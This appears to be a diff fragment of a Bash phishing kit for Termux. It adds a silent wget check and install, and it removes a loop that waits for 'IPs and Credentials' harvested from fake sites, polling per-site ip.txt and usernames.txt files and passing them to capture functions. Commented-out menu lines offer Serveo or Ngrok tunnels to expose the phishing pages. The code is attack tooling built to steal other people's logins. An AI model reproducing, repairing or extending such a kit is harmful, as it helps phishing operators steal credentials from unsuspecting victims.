-printf "\n" - -checkfound -} - -start1() { -if [[ -e sendlink ]]; then -rm -rf sendlink +printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Checking For Wget\e[0m\e[1;77m:\e[0m\e[1;93m...\e[0m\n" +if [[ -e /data/data/com.termux/files/usr/bin/wget ]]; then + printf "\e[1;92m[\e[0m+\e[1;92m] Wget Found!\e[0m\n" + sleep 2 +else + printf "\e[1;91m[!] Wget Not Found!\e[0m\n" + sleep 2 + printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Installing Wget....\e[0m\n" + apt-get -y install wget > /dev/null 2>&1 + sleep 2 + printf "\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Wget Successfully Installed!\e[0m\n" fi - - -#printf "\n" -#printf "\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Serveo.net (SSH Tunneling, Best!)\e[0m\n" -#printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Ngrok\e[0m\n" -#default_option_server="1" -#read -p $'\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose a Port Forwarding option: \e[0m' option_server -#option_server="${option_server:-${default_option_server}}" -#if [[ $option_server == 1 || $option_server == 01 ]]; then -#startx - -#elif [[ $option_server == 2 || $option_server == 02 ]]; then -start -#else -#printf "\e[1;93m [!] Invalid option!\e[0m\n" -#sleep 1 -#clear -#start1 -#fi - -} -checkfound() { - +sleep 2 printf "\n" -printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m]\e[1;92m Waiting IPs and Credentials,\e[0m\e[1;33m Press Ctrl + C to exit...\e[0m\n" -while [ true ]; do - - -if [[ -e "sites/$server/ip.txt" ]]; then -printf "\n\e[1;36m[\e[1;92m*\e[1;36m]\e[1;92m IP Found!\n" -catch_ip -rm -rf sites/$server/ip.txt -fi -sleep 0.5 -if [[ -e "sites/$server/usernames.txt" ]]; then -printf "\n\e[1;36m[\e[1;92m*\e[1;36m]\e[0m\e[1;92m Credentials Found!\n" -catch_cred -rm -rf sites/$server/usernames.txt -fi -sleep 0.5 - - -done - -} - -if [[ -f plugins.installed ]] ; then - -clear -banner +setup menu -start - -else - setup - banner - menu - start -fi